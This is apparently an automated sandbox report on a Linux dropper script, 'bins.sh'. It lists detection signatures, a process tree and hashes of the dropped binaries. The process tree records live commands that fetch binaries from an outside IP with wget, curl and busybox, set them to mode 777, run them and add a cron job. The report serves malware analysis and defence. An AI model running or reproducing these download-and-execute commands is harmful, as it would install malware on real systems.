Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/11/2024, 08:51

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-kr54dstbkd
  • SHA256 37f235d9768913c948e5842cc37cb20e5d31179bbacbfa0338d592c4b37757b0
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2050) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • File and Directory Permissions Modification
          PID:693
        • /tmp/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          ./nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Executes dropped EXE
          PID:694
        • /bin/rm
          rm nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
            PID:697
          • /usr/bin/wget
            wget http://216.126.231.240/bins/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Writes file to tmp directory
            PID:698
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:712
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/chmod
            chmod 777 vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            ./vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://216.126.231.240/bins/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:746
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/chmod
              chmod 777 mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              ./mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Executes dropped EXE
              PID:766
            • /bin/rm
              rm mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
                PID:768
              • /usr/bin/wget
                wget http://216.126.231.240/bins/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:783
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Writes file to tmp directory
                PID:784
              • /bin/chmod
                chmod 777 iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • File and Directory Permissions Modification
                PID:785
              • /tmp/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                ./iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:786
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:788
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:789
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:790
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:791
                    • /bin/rm
                      rm iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                      2⤵
                        PID:793
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                        2⤵
                          PID:796

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                            • Path /tmp/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                            • Size 119KB
                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
                            • Path /tmp/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
                            • Size 98KB
                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
                            • Path /tmp/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
                            • Size 122KB
                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
                            • Path /tmp/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.Dz785b
                            • Path /var/spool/cron/crontabs/tmp.Dz785b
                            • Size 210B
                            • SHA256 96c96ba6657441b451c1bd2becf240e13544a5ac0651c158eb70763daf13cae5
                            • MD5 SHA1 SHA512
                            Submit Download